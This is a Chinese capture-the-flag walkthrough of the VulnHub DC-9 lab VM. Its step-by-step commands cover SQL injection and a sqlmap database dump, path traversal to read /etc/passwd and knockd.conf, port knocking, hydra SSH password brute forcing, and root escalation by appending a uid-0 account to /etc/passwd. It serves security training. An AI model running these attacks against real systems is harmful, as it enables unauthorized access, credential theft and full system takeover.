DC-9
下载靶场:
https://www.vulnhub.com/entry/dc-9,412/
http://www.five86.com/downloads/DC-9.zip
启动

发现主机
nmap扫描C段

使用netdiscover 扫描 (慢一点)
端口扫描
nmap -sC -sV -oA dc-9 192.168.216.154

查看80端口:

查看网页源码没有什么可用信息
使用工具爆破网站目录
目录爆破
使用 nikto
┌──(root㉿kali)-[~]
└─# nikto -host 192.168.216.154

查看这个config.php文件

可以确定确实存在这个文件,但是禁止访问他
查看目录 http://192.168.216.154/includes/ ,是否存在文件包含漏洞

没有信息
看到有一个搜索框

尝试sql注入
sql注入获取管理员密码
确定注入点
构造一个永远为真的sql语句
'or 1=1 --+

查出数据,存在sql注入
不用说直接上sqlmap
sqlmap -u "http://192.168.216.154/results.php" --data="search=l" --dump
直接脱库

拿到一个管理员密码: 856f5de590ef37314e7c3bdf6f8a66dc sqlmap使用自带的md5字典没有匹配到,使用网站:

登录

我们还看到有一个User库
看到

使用这些账号和密码尝试爆破看看有什么不一样的

ALT+右键
制作账户字典,和密码字典
使用wfuzz爆破
┌──(root㉿kali)-[~/dc-9]
└─# wfuzz -z file,admin.txt -z file,passwd.txt "http://192.168.216.154/manage.php?username=FUZZ&password=FUZ2Z"

过滤 单词为87w的
┌──(root㉿kali)-[~/dc-9]
└─# wfuzz -z file,admin.txt -z file,passwd.txt --hw 87 "http://192.168.216.154/manage.php?username=FUZZ&password=FUZ2Z"

并没有特殊的账户,所以猜测都是普通用户,后面可能有用
有用的信息就是那个admin账户,登入

使用wfuzz爆破参数
┌──(root㉿kali)-[~/dc-9]
└─# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -u http://192.168.216.154/manage.php?FUZZ=index.php -b "PHPSESSID=fbcjfn29hcps1vdnvu94ra5r8r"

有很多,过滤100w

并没有特殊,但是并不意味着没有,可能是我们请求错误,我们在爆破名字后面文件名是:index.php 这个文件名是不存在所以没有吗?
我们使用一个在linux中一定存在的文件 /etc/passwd,但是我们不知道在第几层,这里在linux中../回到根目录/之后你再../仍然是在根目录,所以我们在/etc/passwd前面加上很多的../就可以访问到,
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -u http://192.168.216.154/manage.php?FUZZ=../../../../../../../../etc/passwd -b "PHPSESSID=fbcjfn29hcps1vdnvu94ra5r8r" --hw 100

成功,存在参数file

使用hydra爆破SSH密码
目前该工具支持以下协议的爆破:
AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。对于 HTTP,POP3,IMAP和SMTP,支持几种登录机制,如普通和MD5摘要等。
在端口扫描的时候我们知道有22端口开放,我们可以根据我们拿到的用户名字典和密码进行爆破
hydra -L admin.txt -P passwd.txt 192.168.216.154 ssh

这个端口明明已经开放,但是我们访问不到?????,这是是为啥??????
knockd
敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器IP发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。
knock动作的实质就是连续的向指定的ip的约定的端口连续的发送多个tcp或者udp包,比如我们可以通过*telnet 服务器地址 端口号* 命令来发送tcp包,也可以直接在浏览器地址栏里面用 http://服务器地址:端口号 的方式来让浏览器发出与服务器指定端口tcp握手的SYN包。但是最好用的还是直接下载knock工具(windows版、mac版),用 knock 服务器地址 端口号 的方式来实现敲门

目标机上是否也配置了 knockd ????
假如存在knockd一般/etc/knockd.conf 中编辑进去自己的敲门暗号
我们访问一下:http://192.168.216.154/manage.php?file=../../../../../../../etc/knockd.conf

果然,
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
依次访问 7469,8475,9842端口,可能是关闭的,但是没瓜系
使用namp即可:22拒接

敲门

开启

使用hydra(九头蛇)

存在三个用户:
[22][ssh] host: 192.168.216.154 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.216.154 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.216.154 login: janitor password: Ilovepeepee
登录ssh

- 查看敏感文件
- sudo -l
- 操作系统漏洞
- history
- ....
三个用户使用 sudo -l 发现都没有可使用root权限的命令
三个用户依次查看ls -a,发现用户janitorm存在不一样的目录 .secrets-for-putin
janitor@dc-9:~$ ls -a
. .. .bash_history .gnupg .secrets-for-putin
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
这些有点像我们登录的密码,我们在使用hydra的密码字典中加入,之后再一次爆破

多出来一个用户fredf
[22][ssh] host: 192.168.216.154 login: fredf password: B4-Tru3-001
登录看看


这个有点像tee,我们可以查看这个test.py文件
find / -name "test.py"

有很多,有很多都是错误信息
find / -name "test.py" 2>/dev/null
#linux中的错误有一个标识:2 ,我们把错误信息都输出到/dev/null中,也就过滤了


所以我们可以使用这个脚本来干什么????
在/etc/passwd中添加root用户
我们可以使用root权限来在/etc/passwd文件中假如一个root的用户admin
┌──(root㉿kali)-[~/dc-9]
└─# cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
#用户名:密码(一般保存在/etc/shadow):用户id:用户组id:用户简介:用户目录是什么:执行
#我们要添加root权限的用户,就把用户id和用户组都设置为0
#关键是密码的生成
#shadow中:
crabin:$y$j9T$uqGziRHtAXmBWSYjIAVwr/$F/TFAU2sc2FMhdNIpmncwrU22O8XocHIhxR5E3ezGE8:19073:0:99999:7:::
linux的密码
- sha512
- sha256
- md5
这些都可以向上兼容,即使用md5加密也可以,但是安全性没有sha516高
生成密码:
┌──(root㉿kali)-[~/dc-9]
└─# openssl passwd -1 -salt amdin 123456
$1$amdin$lHZe0UczJBGxJSefgd7jW.
# passwd: 生成密码,-1 :使用md5 ,-salt:随机产生一个盐,admin:用户名,123456:密码
构建
admin:$1$amdin$lHZe0UczJBGxJSefgd7jW.:0:0::/root:/bin/bash
fredf@dc-9:/opt/devstuff/dist/test$ echo 'admin:$1$amdin$lHZe0UczJBGxJSefgd7jW.:0:0::/root:/bin/bash' >> /tmp/passwd
fredf@dc-9:/opt/devstuff/dist/test$ cat /tmp/passwd
admin:$1$amdin$lHZe0UczJBGxJSefgd7jW.:0:0::/root:/bin/bash
sudo ./test /tmp/passwd /etc/passwd

查看这个/etc/passwd

添加成功,登录

ok


浙公网安备 33010602011771号